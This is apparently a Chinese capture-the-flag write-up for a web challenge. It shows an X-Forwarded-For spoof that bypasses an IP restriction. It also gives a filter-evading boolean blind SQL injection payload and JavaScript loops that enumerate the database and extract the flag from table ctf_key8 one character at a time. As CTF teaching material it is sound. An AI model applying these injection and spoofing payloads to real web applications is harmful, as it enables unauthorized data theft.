0x01 web1 数据库的秘密
访问题目给出的页面,tis -> 非法链接,只允许来自 123.232.23.245 的访问
修改请求头,伪造请求源ip
1 | X-Forwarded-For:123.232.23.245 |
再次请求页面,可以看到已经通过,成功加载页面
查看源码,看到有个input的项author被设置hidden了,一般看到这种题,非常有可能是sql注入,试了下存在sql注入
经过尝试发现可以使用布尔盲注,最后发现使用以下这种布尔盲注的方式,可以畅通无阻,直通罗马
1 | author=''=((select (某返回数字的函数) from xxx)=变量)='' |
上面这种方式,基本可以绕过了and、or等等拦截,并且可以闭合前面的单引号和后面的单引号
先说一下上面的注入原理吧,上面其实在表单输入项内容为
1 | '=((select (某返回数字的函数) from xxx)=变量)=' |
先通过第一个单引号闭合条件author=’’,使得数据库判断该条件时,该条件都返回false,然后后面通过((子查询)=i)的括号优先运算并通过子查询获取出关键信息,关键信息使用了数字表示,并与变量比对,如果相等,则返回true,因为前面的author=’’等式的值为false,所以,author=’’=()等式的值则为false,最后一个引号闭合了sql,并得到等式author=’’=()=’’,因为在数据库中’’的值为false,因此,整条语句的布尔等式就为false=true=false,最终结果则为false,如果()返回的布尔结果为false的话,则整条布尔表达式为false=false=false,这种情况,最终的值则为false
以上就是具体原理的描述,我以前语文学得不太好,看一遍不太理解的朋友,请原谅,麻烦多看几遍,多思考…
其实,这道题到这里,具体的利用手法已经很清晰了,再次分析页面源码,以及http请求数据包,可以得知:
- 点击页面提交http请求时还会带上一个 time参数 和 sig参数。
- time、sig这两个参数都是在 js 计算出来的。
- 思路已经很明确,存在盲注,需要计算出sig和time参数
在赛后发现,很多朋友计算sig、time是利用python重写一遍算法,或者使用python调用js,更有师傅用java计算…强,但是我这边用的方法可以说是最便捷的,直接把页面里的代码拷贝出来,粘贴到一个新的html文件中,修改一下math.js、main.js文件的引用路径为绝对路径,并引入jquery支持
1 | <script src=" |
随手写了几个js的payload,打开chrome的console,把方法输入,直接调用执行:
两个基本的函数
1 | function getSig(time){ |
爆数据库数量(这个好像有点多余…):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24function getSchemaCount(){
var schemaCount = 0;
for(var i=0;i<100;i++) {
var id = "";
var title = "";
var author = "'=((select count(SCHEMA_NAME) from information_schema.SCHEMATA)="+i+")=''='";
var date = "";
var time = getTime();
var sig = getSig("id="+id+"title="+title+"author="+author+"date="+date+"time="+time+"adrefkfweodfsdpiru");
$.ajax({
type: 'POST',
async : false,
url:"http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?sig="+sig+"&time="+time,
data:{"id":id,"title":title,"date":date,"author":author,"button":"search"},
headers:{"X-Forwarded-For":"123.232.23.245"},
success:function(result){
//$(".bbb").html(result);
if(result.indexOf("admin")!=-1) {
schemaCount = i;
}
}});
}
console.log("schema数量为:"+schemaCount);
}
爆表数量
1 | function getTableCount(){ |
爆表名
1 | function getTableName(){ |
爆列数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24function getColumnCount(){
var ColumnCount = 0;
for(var i=0;i<20;i++) {
var id = "";
var title = "";
var author = "'=((select count(*) from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='message')="+i+")=''='";
var date = "";
var time = getTime();
var sig = getSig("id="+id+"title="+title+"author="+author+"date="+date+"time="+time+"adrefkfweodfsdpiru");
$.ajax({
type: 'POST',
async : false,
url:"http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?sig="+sig+"&time="+time,
data:{"id":id,"title":title,"date":date,"author":author,"button":"search"},
headers:{"X-Forwarded-For":"123.232.23.245"},
success:function(result){
//$(".bbb").html(result);
if(result.indexOf("admin")!=-1) {
ColumnCount = i;
}
}});
}
console.log("ColumnCount:"+ColumnCount);
}
最后根据前面爆出的信息得知表名,且flag所在表数据只有一列,利用下面的payload去盲注出值,得到flag1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24function getValue(){
for(var j=0;j<50;j++) {
for(var i=33;i<127;i++) {
var id = "";
var title = "";
var author = "'=(substr((select * from ctf_key8 limit 0,1),"+(j+1)+",1)='"+String.fromCharCode(i)+"')=''='";
var date = "";
var time = getTime();
var sig = getSig("id="+id+"title="+title+"author="+author+"date="+date+"time="+time+"adrefkfweodfsdpiru");
$.ajax({
type: 'POST',
async : false,
url:"http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php?sig="+sig+"&time="+time,
data:{"id":id,"title":title,"date":date,"author":author,"button":"search"},
headers:{"X-Forwarded-For":"123.232.23.245"},
success:function(result){
//$(".bbb").html(result);
if(result.indexOf("admin")!=-1) {
console.log(String.fromCharCode(i));
}
}});
}
}
}